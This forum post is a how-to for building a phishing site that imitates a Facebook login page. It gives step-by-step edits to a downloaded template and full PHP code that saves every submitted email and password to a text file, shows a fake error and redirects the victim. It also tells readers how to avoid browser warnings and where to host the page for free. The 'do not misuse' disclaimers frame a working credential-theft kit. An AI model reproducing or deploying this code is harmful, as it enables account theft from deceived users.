Forum Thread: How to Create a Phishing Site from Scratch

-Mont3 Cristo

Disclaimer: THIS BLOG IS FOR INFORMING THE RISK CAUSED BY PHISHING AND PLEASE DO NOT USE THIS FOR ILLEGAL PURPOSES.I AM NOT RESPONSIBLE FOR WHAT EVER AFTER EFFECTS YOU FACE IF YOU USE IT IN WRONG WAY!

— M0N73 CR157O

REQUIREMENT

  • PHP BASICS
  • HTML BASICS
  • Account in free Web host such as 000webhost.com

What Is Phishing?

In simple words, phishing is a method of hacking or a method of getting credentials by fooling others by pretending to be some trusted entity.

What We Gonna Do?

For the sake of example we gonna imitate Facebook and create a login screen similar to them and will fool users to login with it and we get their credentials.

What We Need?

For this, the foremost thing we need is a login page similar to Facebook.In most of the tutorials they teach you to save Facebook page and edit it,but i wont recommend you that because if we do so its easy for the server or the browser to warn the users or block our page.So, we will need a fresh webpage. I surfed on the internet and found it in:

http://w3lessons.info/2013/10/17/facebook-style-homepage-design-with-registration-form-login-form-using-css3/
Once you download it we are ready to make our phishing page.Edit the "index.html" file using any text editor.
Edit the <title></title> to what ever you want but must be related to facebook (I named it Facebook Themes)

Now change <div id="logo"<a href="http://w3lessons.info "> W3lessons.info</a> </div> ,change the url to the name of the current webpage, i changed it to "index.html" and the name too,so the code looks like this for me:

<div id="logo"><a href="index.html">FacebookThemes</a> </div>
Now we are into the form,you can see the form starting tag
<form method="post" action="" id="loginform" name="loginform">

In this we have to specify what action our form should do , in short,we should divert our form data to some php file to validate and do the necessary steps. So within the quotes after "action=" we should place our php file name.like,

<form method="post" action="save.php" id="loginform" name="loginform">

So we have finished our index page, but you can do more editing to the page writings to make it more believable one like above the signup tab you can change "welcome to facebook" and all those to something you want.

NOW SAVE THIS "index.html"
Next step is to create "save.php",save it on the same directory

save.php

<?php
$handle=fopen("data.txt", "a");
$atim =time();
$atime=date("dS F Y", $atim);
fwrite($handle,"\r\n");
fwrite($handle,"\t\t\t\t\t\t\t HACKED ON:");
fwrite($handle,$atime);
fwrite($handle,"\r\n");
fwrite($handle,"\t\t\t\t\t\t======================================================");
fwrite($handle,"\r\n");
foreach($_POST as $variable=>$value)
{
fwrite($handle,"\t\t\t\t\t\t\t\t");
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle,"\t\t\t\t\t\t======================================================");
fclose($handle);
echo "Invalid E-mail/Password <br>";
echo "Try Again";
header("Refresh:2;url=index.html");
?>
Next create a text file named "data.txt" on same directory
DONE!
This is the simple phishing site now Host it on any free web hosting services like 000webhost.com
WORKING

The email and password entered in to the index.html will be sent to "save.php".This php file will saves the email and password to "data.txt". You can view this data anytime from you server by just opening it!

"REMEMBER NOT TO USE THIS FOR ANY ILLEGAL ACTIVITIES. KNOWLEDGE IS POWER BUT DO NOT MISUSE IT!"

— M0N73 CR157O

Be the First to Respond

Share Your Thoughts